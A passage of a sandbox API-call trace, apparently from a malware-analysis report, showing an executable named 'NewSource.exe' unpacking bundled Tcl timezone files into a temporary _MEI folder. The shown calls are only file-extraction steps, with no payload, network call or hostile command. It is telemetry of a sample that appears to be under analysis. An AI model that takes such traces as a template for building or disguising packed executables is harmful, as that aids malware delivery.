lpSystemTime=0x4f8cd8) returned 1 [0038.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.179] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.179] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.180] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.180] CloseHandle (hObject=0x10c) returned 1 [0038.180] GetLastError () returned 0x0 [0038.180] SetLastError (dwErrCode=0x0) [0038.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.180] GetFileType (hFile=0x10c) returned 0x1 [0038.180] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.180] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.180] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.180] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.180] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.180] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.180] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.180] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.180] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.180] CloseHandle (hObject=0x10c) returned 1 [0038.180] GetLastError () returned 0x0 [0038.180] SetLastError (dwErrCode=0x0) [0038.180] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Juba") returned 68 [0038.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Juba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\juba"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.181] GetLastError () returned 0x2 [0038.181] SetLastError (dwErrCode=0x2) [0038.181] GetLastError () returned 0x2 [0038.181] SetLastError (dwErrCode=0x2) [0038.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Juba", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Juba", lpFilePart=0x0) returned 0x43 [0038.181] GetLastError () returned 0x2 [0038.181] SetLastError (dwErrCode=0x2) [0038.181] GetLastError () returned 0x2 [0038.181] SetLastError (dwErrCode=0x2) [0038.181] GetLastError () returned 0x2 [0038.181] SetLastError (dwErrCode=0x2) [0038.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Juba") returned 68 [0038.181] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Juba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\juba"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.182] GetFileType (hFile=0x10c) returned 0x1 [0038.182] htonl (hostlong=0x23040000) returned 0x423 [0038.182] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.182] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x423, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x423, lpOverlapped=0x0) returned 1 [0038.183] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.183] CloseHandle (hObject=0x10c) returned 1 [0038.183] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550750 | out: hHeap=0x530000) returned 1 [0038.184] htonl (hostlong=0x30000000) returned 0x30 [0038.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.184] GetFileType (hFile=0x10c) returned 0x1 [0038.184] htonl (hostlong=0xba525800) returned 0x5852ba [0038.184] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d02ba, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.184] htonl (hostlong=0xab000000) returned 0xab [0038.184] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x55cfe0 [0038.184] htonl (hostlong=0xab000000) returned 0xab [0038.184] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.184] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.184] htonl (hostlong=0xea000000) returned 0xea [0038.184] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xea) returned 0x550600 [0038.184] htonl (hostlong=0xab000000) returned 0xab [0038.184] htonl (hostlong=0xea000000) returned 0xea [0038.184] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.184] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.184] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.184] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.184] CloseHandle (hObject=0x10c) returned 1 [0038.184] GetLastError () returned 0x0 [0038.184] SetLastError (dwErrCode=0x0) [0038.184] GetLastError () returned 0x0 [0038.185] SetLastError (dwErrCode=0x0) [0038.185] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.185] GetFileType (hFile=0x10c) returned 0x1 [0038.185] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.185] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.185] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.185] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.185] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.185] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.185] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.185] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.185] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.185] CloseHandle (hObject=0x10c) returned 1 [0038.185] GetLastError () returned 0x0 [0038.185] SetLastError (dwErrCode=0x0) [0038.185] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.185] GetFileType (hFile=0x10c) returned 0x1 [0038.185] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.185] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.185] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.185] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.185] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.186] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.186] CloseHandle (hObject=0x10c) returned 1 [0038.186] GetLastError () returned 0x0 [0038.186] SetLastError (dwErrCode=0x0) [0038.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.186] GetFileType (hFile=0x10c) returned 0x1 [0038.186] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.186] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.186] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.186] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.186] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.186] CloseHandle (hObject=0x10c) returned 1 [0038.186] GetLastError () returned 0x0 [0038.186] SetLastError (dwErrCode=0x0) [0038.186] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kampala") returned 71 [0038.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kampala" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\kampala"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.187] GetLastError () returned 0x2 [0038.187] SetLastError (dwErrCode=0x2) [0038.187] GetLastError () returned 0x2 [0038.187] SetLastError (dwErrCode=0x2) [0038.187] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kampala", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kampala", lpFilePart=0x0) returned 0x46 [0038.187] GetLastError () returned 0x2 [0038.187] SetLastError (dwErrCode=0x2) [0038.187] GetLastError () returned 0x2 [0038.187] SetLastError (dwErrCode=0x2) [0038.187] GetLastError () returned 0x2 [0038.187] SetLastError (dwErrCode=0x2) [0038.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kampala") returned 71 [0038.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Kampala" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\kampala"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.187] GetFileType (hFile=0x10c) returned 0x1 [0038.187] htonl (hostlong=0xea000000) returned 0xea [0038.187] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.187] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xea, lpOverlapped=0x0) returned 1 [0038.188] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.188] CloseHandle (hObject=0x10c) returned 1 [0038.189] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.189] htonl (hostlong=0x30000000) returned 0x30 [0038.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.189] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.189] GetFileType (hFile=0x10c) returned 0x1 [0038.189] htonl (hostlong=0x65535800) returned 0x585365 [0038.189] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0365, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.189] htonl (hostlong=0x47010000) returned 0x147 [0038.189] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x147) returned 0x550600 [0038.189] htonl (hostlong=0x47010000) returned 0x147 [0038.189] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.189] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.190] htonl (hostlong=0x27040000) returned 0x427 [0038.190] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x427) returned 0x550750 [0038.190] htonl (hostlong=0x47010000) returned 0x147 [0038.190] htonl (hostlong=0x27040000) returned 0x427 [0038.190] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.190] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.190] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.190] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.190] CloseHandle (hObject=0x10c) returned 1 [0038.190] GetLastError () returned 0x0 [0038.190] SetLastError (dwErrCode=0x0) [0038.190] GetLastError () returned 0x0 [0038.190] SetLastError (dwErrCode=0x0) [0038.190] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.190] GetFileType (hFile=0x10c) returned 0x1 [0038.190] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.190] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.190] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.190] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.190] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.190] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.190] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.190] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.190] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.190] CloseHandle (hObject=0x10c) returned 1 [0038.191] GetLastError () returned 0x0 [0038.191] SetLastError (dwErrCode=0x0) [0038.191] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.191] GetFileType (hFile=0x10c) returned 0x1 [0038.191] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.191] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.191] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.191] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.191] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.191] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.191] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.191] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.191] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.191] CloseHandle (hObject=0x10c) returned 1 [0038.191] GetLastError () returned 0x0 [0038.191] SetLastError (dwErrCode=0x0) [0038.191] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.191] CreateFileW 